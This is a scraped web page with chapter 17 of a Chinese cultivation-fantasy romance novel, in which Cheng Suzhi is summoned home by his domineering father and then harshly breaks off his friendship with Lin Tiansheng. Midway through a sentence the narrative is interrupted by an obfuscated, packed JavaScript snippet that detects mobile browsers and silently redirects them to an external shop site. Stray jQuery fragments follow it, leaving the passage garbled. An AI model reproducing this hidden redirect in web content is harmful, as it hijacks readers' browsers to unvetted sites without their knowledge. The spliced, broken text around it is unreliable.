文趣网 > 都市小说 > 死遁后,大师兄黑化了 > 17. 父命(待修)
    “母亲,可否晚些几日,我......”程溯之不着痕迹地用余光瞥了一眼林天生,又匆匆移开,用商量的口吻道,“我尚有事务处理,事后立刻归家。”

    沈芸作为程家主母岂能不明白自家孩子的心思?她弯了弯唇,笑意却不达眼底:“你父亲让你即刻随我回去,莫非你要忤逆你父亲?”

    说这话时,她的视线时不时扫过林天生,带着几分居高临下的审视。

    大家族的人大多傲慢,林天生见得多了,对她眼里暗藏的轻慢毫不在意,只是鉴于对方是好友的母亲,她还是回了一个友好的微笑,然后低头,默默挪远几步,若无其事地踢起小石头,表示自己无意介入两人的家事。

    两人又来回说了几句,大师兄貌似不愿离开,但又不想违逆父母之言。

    沈芸带来的十数名修士围堵在福贵饭店大门前,无异于向众人摊牌:此事绝无商量的余地。

    母子相僵持,虽未争吵,但紧张的画面吸引了一众路过的百姓。好奇地驻足在饭店周围打量,在后厨忙碌的郝贵以为是生意爆好,也跑到门口来看,被沈芸的架势吓了一跳,以为自己招惹到了什么大人物。

    眼看围观的百姓越来越多,林天生慢慢踱步回到程溯之身旁,用仅有两人能听见的声音道:“师兄,要不你先回去吧,幻妖的事有我和方异在,你不必太过操心。”

    劝完,程溯之抿着嘴看了她好一阵,似是有话要说,脸都憋红了也只道出一句:“等我。”

    大师兄回后院简要拿了点东西便随母亲离去,围观的人见没什么戏看也走了。

    林天生正要回去,却见郝贵站在门口,满眼都是对八卦的渴求。

    “程之之是世家子弟?是哪个程家?我怎么没听过?”

    几个问题接连从他口中抛过来,林天生听得脑袋都要大了,先不提能不能向郝叔交代修真界的事,便是可以,她也办法满足对方的好奇心。

    她对程家知之甚少,只知道程家是修真界赫赫有名的大家族,世代人才辈出,斩尘真人便是程家人。程家家底雄厚,把持着数条上好灵脉,许多修士为了进入程家管辖的灵脉区修行,不惜拜入程家麾下,听从程家调遣,一些小门派也依附着程家,定期还要向程家递交灵石。

    当然,这些事林天生没法向郝叔说。

    她面上装作迷糊的样子,信口胡诌道:“应当是远方的某个世家吧,之之貌似是离家出走的,这不,被他母亲抓回去了。”

    说完,她便称自己忙着出去办事,头也不回地逃走了。

    *

    平陵城千里之外,连绵的群山常年被云雾缭绕,只露出山顶,山内光景模糊,若仔细看便会发现整座山周边流转着金光。金光正是护山阵法,此阵不仅能抵挡攻击,还能隐藏山门,莫说路过的凡人,即便是修士,若无许可也只见得茫茫青山,难觅山门。

    山下地底深处,数条灵脉盘桓在此,灵气自下而上充盈着几座山,山中虽无神仙,修士们仍愿称其为仙山。

    这仙山,便是程家的仙山。

    程溯之幼年的时光都在这里度过,父母亲让他不要踏出山门,他便从未踏出过半步,直到成为斩尘真人的弟子。

    “跪下。”程严坐于正堂之上,隔着数级台阶俯视堂下的人,他有规律地叩击着椅子扶手,咚咚的声音在死寂的堂中让人格外不安。

    一声闷响后,程溯之双膝落地,一声不吭地跪坐在堂下,一如以前。只是这次他提前将衣物垫在了膝下,避免师妹受到牵连。

    “你可知今日为何让你下跪?”

    听见父亲的问话,程溯之想了想,低头道:“因为修行懈怠,导致修为出现倒退,孩儿知错了,愿意接受惩罚。”

    “懈怠?”堂上传来一声冷哼,“究竟是何缘由你心里再清楚不过,你真是长大了,难得多说几句嘴里却没一句实话......罢了,只要你往后专心修行无情道,我便不同你计较。”

    “若是做不到,”程严站起身,随手挥落一只瓷杯,语气多了几分威胁,“你应当知晓我的手段。”

    瓷杯的碎片从台阶上一路滚到程溯之面前,他身体僵住,面色有些发白,藏在两袖的手反复握紧又松开。

    他当然知晓父亲的手段。年幼时他唯一亲近的人便是乳娘,乳娘待人温和,他没有玩伴,父母也鲜少陪伴,所以格外依赖她。

    有一天,他练完剑回到家中,正想向乳娘展示成果,却怎么也找不到人。父亲说乳娘粗鄙,已将其遣返回乡,山中所有人都对她的事避而不谈,直到后来拜入青阳剑宗,执行宗门任务时他去寻过乳娘,乳娘的家人却说她从未归过家,连封信也没稍过。

    那乳娘究竟去了哪儿,恐怕只有父亲知晓。

    回想起往事桩桩,一股寒意顺着脊椎往上爬,程溯之闭了闭眼睛,努力不去注意那碎成片的瓷杯。

    “这几日你便好好待在思过崖,掂量掂量怎么话该说,什么念头不该有。等你想清楚了,我便放你同那女子再见一面。”

    “当然,是否为最后一面,便取决于你自己的选择了。”

    说完,程严拂袖而去,徒留程溯之一人跪在原地,迟迟没有起身。

    *

    平陵城,福贵饭店后院。

    林天生百无聊赖地坐在台阶上看夕阳,面前几只鸟正叽叽喳喳地啄食洒落在地上的谷粒,时不时还要骚扰一下这位没有同伴的庞然大物。

    她摆手将飞到头上的鸟驱赶,长叹一口气,又开始发呆。

    今日是大师兄归家的第七日,除了刚离开那日师兄送来过一张传音符,此后几日便再无音讯,不知何时才会回来。

    方异这几日也在忙着干自己的事情,她连个人影也没见到,更别提和他一起找幻妖。

    前不久坊市的器修告诉她,地图残页确实是坏的,现下修得差不多了,寻妖的范围缩小了不少,但还需要最后调整一下,让她过几日来拿。

    既路过坊市,林天生顺便去监工荀常,想看看自己的灵藕塑形得如何了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17823395|209930||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,结果进度慢得不是一点半点,她严重怀疑对方吞了灵石不办事,又跟他吵了几句,把利息又降低了些。

    大师兄一离开,没人监督她早起,也没人拉她上街寻妖,林天生每天除了吃就是睡,时不时去前院帮郝叔接客,偶尔练习一下大师兄教的术法,此外便是坐着发呆,一坐就是一下午。

    虽然有些无聊,但比在宗门的日子好多了。

    一想到先前在宗门的苦日子,林天生气不叹了,呆也不发了,顿时感觉神清气爽,都有力气多练习会儿术法了。

    “爆裂术的练习讲究一个‘专’字。”

    久违的声音在后院响起,林天生惊喜转头,一把扑了过去。

    “师兄!你回来了!!”她抱住许久未见的朋友,喜悦盖住了一切,丝毫没有察觉到对方的情绪,嘴里叽叽喳喳和他分享最近发生的趣事。

    直到程溯之一点点把她的手挪开。

    “师兄?”

    林天生抬头去看他的脸色,却被他偏头躲开。

    “师妹,可否出去说。”他哑声道。

    ......

    “师兄,你说什么呢......”林天生费力将嘴角往上扯了扯,扯出一张极其难看的笑脸。

    “我说你是累赘。”

    程溯之垂着眼,避开她的目光,语气同神情一样毫无波澜:“你好吃懒做,愚不可及,便是最最简单的术法也要学上好久,你胆小怕事,没有骨气,遇事只会躲在别人身后,同你这般人往来,只会、”

    他声音哑了一下,像是被某种情绪噎住,喉结滚动好几次才将其咽下。

    “你只会拖累我求道的脚步。”

    “往后,你离我远些,莫要当那令人厌恶的吸血虫,也莫要再纠缠我。”

    那些常常从同宗弟子听到的话,从师兄的口中一字一句冒出来,像针似的扎在心里。林天生有点茫然,她不知道大师兄怎么了。

    “我们不是朋友吗......你还接受了我的礼物。”明明前不久还在一起过中秋,她送的礼物他也很喜欢不是么?

    “你说这个吗。”程溯之从袖中拿出一条白色剑穗,他捏着剑穗的顶部一角,硬声道,“这样廉价丑陋的东西也算作礼物么?”

    说完,他便将其抛入湖中。

    伸到半空的手默默收回,看着乱成一团的剑穗慢慢从湖面沉入湖底,林天生只觉得可惜,毕竟是自己牺牲了睡觉时间,在夜里一针一线缝出来的。

    心血就这样被糟蹋了,真可惜。

    “所以我们现在是断交了吗?因为我拖累了你。”她看着程溯之的眼睛。

    他回避,张了张嘴,最终只点点头,像是不愿同她多说一句话。

    大抵是想确认自己这个累赘吸血虫有没有死缠烂打跟上去,他离开时还看了她好几眼,肩膀撞到了树干,踉跄了几步,看着有些狼狈。

    林天生捂着脸缓缓蹲下,莫名有些想笑,事实上也笑出了声。

    狼狈的人是她才对吧。